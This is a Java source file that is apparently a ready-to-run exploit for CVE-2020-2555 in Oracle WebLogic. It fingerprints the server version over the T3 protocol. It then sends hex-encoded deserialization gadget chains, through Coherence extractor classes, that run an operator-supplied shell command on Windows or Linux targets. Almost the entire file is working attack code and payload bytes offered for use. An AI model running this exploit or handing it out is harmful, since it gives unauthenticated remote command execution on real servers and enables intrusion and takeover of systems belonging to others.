import cn.hutool.core.util.HexUtil;
import cn.hutool.core.util.ReUtil;
import org.apache.commons.cli.*;

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

/**
 * Title: Main
 * Desc: CVE-2020-2555 漏洞利用主函数代码
 * Date:2020/3/10 10:19 上午
 * Email:woo0nise@gmail.com
 * Company:www.j2ee.app
 *
 * @author R4v3zn
 * @version 1.0.0
 */
public class Main {
    public static final String MSG = "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a";
    public static final Integer SO_TIME_OUT = 2*1000;
    public static CommandLine cmdLine;
    public static final String VUL_NAME = "CVE-2020-2555";

    public static void main(String[] args) throws Exception {
        Options options = new Options();
        options.addOption(new Option("h", "host", true, "Weblogic host , ip ?"));
        options.addOption(new Option("p", "port", true, "weblogic port, default 7001"));
        options.addOption(new Option("c", "command", true, "execute command"));
        options.addOption(new Option("o", "os", true, "weblogic os name"));
        options.addOption(new Option("v", "version", false, "get weblogic version"));
        CommandLineParser parser = new DefaultParser();
        cmdLine = parser.parse(options, args);
        if(!cmdLine.hasOption("h")){
            HelpFormatter formatter = new HelpFormatter();
            formatter.printHelp(VUL_NAME, options, true);
            System.out.println(" 影响版本：WebLogic 12.1.3.0.0、12.2.1.3.0、12.2.1.4.0");
            System.exit(0);
        }
        String ip = cmdLine.getOptionValue("h");
        int port = 7001;
        // 端口
        if(cmdLine.hasOption("p")){
            port = Integer.parseInt(cmdLine.getOptionValue("p").trim());
        }
        String os = "";
        if(cmdLine.hasOption("o")){
            os = cmdLine.getOptionValue("o").trim();
        }
        Socket socket = null;
        String version = "";
        if(cmdLine.hasOption("v") || cmdLine.hasOption("c")){
            socket = new Socket(ip, port);
            socket.setSoTimeout(SO_TIME_OUT);
            byte[] rspByte = sendSocket(MSG, socket);
            version = getVersion(new String(rspByte));

        }else{
            HelpFormatter formatter = new HelpFormatter();
            formatter.printHelp(VUL_NAME, options, true);
            System.out.println(" 影响版本：WebLogic 12.1.3.0.0、12.2.1.3.0、12.2.1.4.0");
            System.exit(0);
        }
        if ("".equals(version)){
            System.out.println("获取版本失败");
            System.exit(0);
        }
        System.out.println("version --> "+version);
        if(!cmdLine.hasOption("v")){
            if(!cmdLine.hasOption("c")){
                HelpFormatter formatter = new HelpFormatter();
                formatter.printHelp(VUL_NAME, options, true);
                System.out.println(" 影响版本：WebLogic 12.1.3.0.0、12.2.1.3.0、12.2.1.4.0");
                System.exit(0);
            }
            String cmd = cmdLine.getOptionValue("c").trim();
            if (!version.contains("12.1.3.0.0") && !version.contains("12.2.1.3.0") && !version.contains("12.2.1.4.0")){
                System.out.println("漏洞不存在");
                System.exit(1);
            }
            if("".equals(os)){
                executeExp(cmd, socket,version);
            }else{
                executeExp(cmd, socket,version, os);
            }
        }
    }

    /**
     * 执行 EXp
     * @param cmd 执行命令
     * @param socket socket
     * @param version 版本号
     * @param os 操作系统
     */
    public static void executeExp(String cmd, Socket socket, String version, String os) throws Exception {
        String[] executeCmd = new String[]{"cmd", "/c", cmd};
        if(os.toLowerCase().contains("linux")){
            executeCmd = new String[]{"/bin/bash","-c", cmd};
            os = "linux";
        }else{
            os = "windows";
        }
        String start = "000009f3016501ffffffffffffffff000000710000ea6000000018432ec6a2a63985b5af7d63e64383f42a6d92c9e9af0f9472027973720078720178720278700000000c00000002000000000000000000000001007070707070700000000c00000002000000000000000000000001007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200094900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000";
        String end = "fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200074900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200094900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774621000000000000000000093132372e302e312e31000b75732d6c2d627265656e73a53caff10000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff0078fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d018140128134bf427600093132372e302e312e31a53caff1000000000078";
        String cmdEnd = "0004657865637070767200116a6176612e6c616e672e52756e74696d6500000000000000000000007870";
        String cmdStart = getCmdStart(os, version);
        String tmpStr = "";
        for (int i = 0; i < executeCmd.length; i++) {
            String tmp  = executeCmd[i];
            String tmpLength = addZeroForNum(Integer.toHexString(tmp.length()), 4);
            // param length + param hex (last + 70 && version 12.2.1.3.0) + 74
            tmpStr += i >= (executeCmd.length - 1) && version.contains("12.2.1.3.0") ? (tmpLength + HexUtil.encodeHexStr(tmp)+"70"+"74") : (tmpLength + HexUtil.encodeHexStr(tmp)+"74");
        }
        String windowsMsg = start +cmdStart+tmpStr+cmdEnd+end;
        sendSocket(windowsMsg, socket);
        socket.close();
        System.out.println("execute "+os+" ok!");
    }

    public static void executeExp(String cmd, Socket socket, String version) throws Exception {
        // execute windows
        executeExp(cmd, socket, version, "");
        // execute linux
        socket = new Socket(socket.getInetAddress().getHostAddress(), socket.getPort());
        socket.setSoTimeout(SO_TIME_OUT);
        sendSocket(MSG, socket);
        // execute linux
        executeExp(cmd, socket, version, "linux");
    }

    /**
     * 获取命令前半段
     * @param os 操作系统
     * @param version weblogic 版本号
     * @return 命令
     */
    public static String getCmdStart(String os, String version){
        String cmdStart = "";
        String flag = "0";
        if(os.toLowerCase().contains("linux")){
            flag = "1";
        }
        if (version.contains("12.1.3.0.0") ){
            cmdStart = "aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000017372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000003"+flag+"740003506f63740008506f632e6a6176617400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e00157873720024636f6d2e74616e676f736f6c2e7574696c2e66696c7465722e4c696d697446696c74657299022596d7b4595302000649000b6d5f635061676553697a654900076d5f6e506167654c000c6d5f636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b4c00086d5f66696c74657274001a4c636f6d2f74616e676f736f6c2f7574696c2f46696c7465723b4c000f6d5f6f416e63686f72426f74746f6d71007e00014c000c6d5f6f416e63686f72546f7071007e0001787000000000000000007372002c636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e436861696e6564457874726163746f72889f81b0945d5b7f02000078720036636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374436f6d706f73697465457874726163746f72086b3d8c05690f440200015b000c6d5f61457874726163746f727400235b4c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f72658195303e7238210200014900096d5f6e546172676574787000000000757200235b4c636f6d2e74616e676f736f6c2e7574696c2e56616c7565457874726163746f723b2246204735c4a0fe0200007870000000037372002f636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e5265666c656374696f6e457874726163746f72ee7ae995c02fb4a20200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00096d5f734d6574686f6471007e00057871007e001d00000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647371007e0021000000007571007e002400000002707571007e002400000000740006696e766f6b657371007e0021000000007571007e002400000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000374";
        }else if (version.contains("12.2.1.3.0")){
            cmdStart = "aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000017372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000003"+flag+"740003506f63740008506f632e6a6176617400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e00157873720024636f6d2e74616e676f736f6c2e7574696c2e66696c7465722e4c696d697446696c746572ab2901b976c4e27102000649000b6d5f635061676553697a654900076d5f6e506167654c000c6d5f636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b4c00086d5f66696c74657274001a4c636f6d2f74616e676f736f6c2f7574696c2f46696c7465723b4c000f6d5f6f416e63686f72426f74746f6d71007e00014c000c6d5f6f416e63686f72546f7071007e000178720034636f6d2e74616e676f736f6c2e7574696c2e66696c7465722e416273747261637451756572795265636f7264657246696c746572f3b98201f680eb90020000787000000000000000007372002c636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e436861696e6564457874726163746f7206ee10433a4cc4b402000078720036636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374436f6d706f73697465457874726163746f72086b3d8c05690f440200015b000c6d5f61457874726163746f727400235b4c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f72752289ad4d4601380200014900096d5f6e546172676574787000000000757200235b4c636f6d2e74616e676f736f6c2e7574696c2e56616c7565457874726163746f723b2246204735c4a0fe0200007870000000037372002f636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e5265666c656374696f6e457874726163746f7287973791b26429dd0200035b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00116d5f657874726163746f7243616368656471007e00014c00096d5f734d6574686f6471007e00057871007e001e00000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000000707400096765744d6574686f647371007e0022000000007571007e002500000002707571007e00250000000070740006696e766f6b657371007e0022000000007571007e002500000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000374";
        }else if(version.contains("12.2.1.4.0")){
            cmdStart = "aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000017372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000003"+flag+"740003506f63740008506f632e6a6176617400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e00157873720024636f6d2e74616e676f736f6c2e7574696c2e66696c7465722e4c696d697446696c746572954e4590be89865f02000649000b6d5f635061676553697a654900076d5f6e506167654c000c6d5f636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b4c00086d5f66696c74657274001a4c636f6d2f74616e676f736f6c2f7574696c2f46696c7465723b4c000f6d5f6f416e63686f72426f74746f6d71007e00014c000c6d5f6f416e63686f72546f7071007e000178720034636f6d2e74616e676f736f6c2e7574696c2e66696c7465722e416273747261637451756572795265636f7264657246696c746572f3b98201f680eb90020000787000000000000000007372002c636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e436861696e6564457874726163746f72435b250b72f63db502000078720036636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374436f6d706f73697465457874726163746f72086b3d8c05690f440200015b000c6d5f61457874726163746f727400235b4c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f729b1be18ed70100e50200014900096d5f6e546172676574787000000000757200235b4c636f6d2e74616e676f736f6c2e7574696c2e56616c7565457874726163746f723b2246204735c4a0fe0200007870000000037372002f636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e5265666c656374696f6e457874726163746f721f62f564b951b6140200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00096d5f734d6574686f6471007e00057871007e001e00000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647371007e0022000000007571007e002500000002707571007e002500000000740006696e766f6b657371007e0022000000007571007e002500000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000374";
        }
        return cmdStart;
    }

    /**
     * 获取 weblogic 版本号
     * @param content 响应内容
     * @return weblogic 版本号
     */
    public static String getVersion(String content) {
        content = content.replace("HELO:", "").replace(".false","").replace(".true", "");
        String getVersionRegex = "[\\d\\.]+";
        List<String> result = ReUtil.findAll(getVersionRegex, content, 0 , new ArrayList<String>());
        return  result != null && result.size() > 0 ? result.get(0) : "";
    }

    /**
     * 读取响应数据内容
     * @param sendMessage 发送内容
     * @param socket socket 链接
     * @return byte[]
     * @throws Exception
     */
    public static byte[] sendSocket(String sendMessage, Socket socket) throws Exception {
        OutputStream out = socket.getOutputStream();
        InputStream is = socket.getInputStream();
        out.write(hexStrToBinaryStr(sendMessage));
        out.flush();
        byte[] bytes = new byte[1024];
        int length = 0;
        try{
            length = is.read(bytes);
        }catch (SocketTimeoutException e){
            // pass
        }
        return Arrays.copyOfRange(bytes, 0,length);
    }

    /**
     * hex字符串转换为 byte[]
     * @param hexString hex 字符串
     * @return byte[]
     */
    public static byte[] hexStrToBinaryStr(String hexString) {
        hexString = hexString.replaceAll(" ", "");
        int len = hexString.length();
        int index = 0;
        byte[] bytes = new byte[len / 2];
        while (index < len) {
            String sub = hexString.substring(index, index + 2);
            bytes[index/2] = (byte)Integer.parseInt(sub,16);
            index += 2;
        }
        return bytes;
    }

    /**
     * 字符串指定长度，如果不足用 0 补足
     * @param str 字符串
     * @param strLength 总长度
     * @return 补足结果
     */
    public static String addZeroForNum(String str, int strLength) {
        int strLen = str.length();
        if (strLen < strLength) {
            while (strLen < strLength) {
                StringBuffer sb = new StringBuffer();
                sb.append("0").append(str);
                str = sb.toString();
                strLen = str.length();
            }
        }
        return str;
    }
}
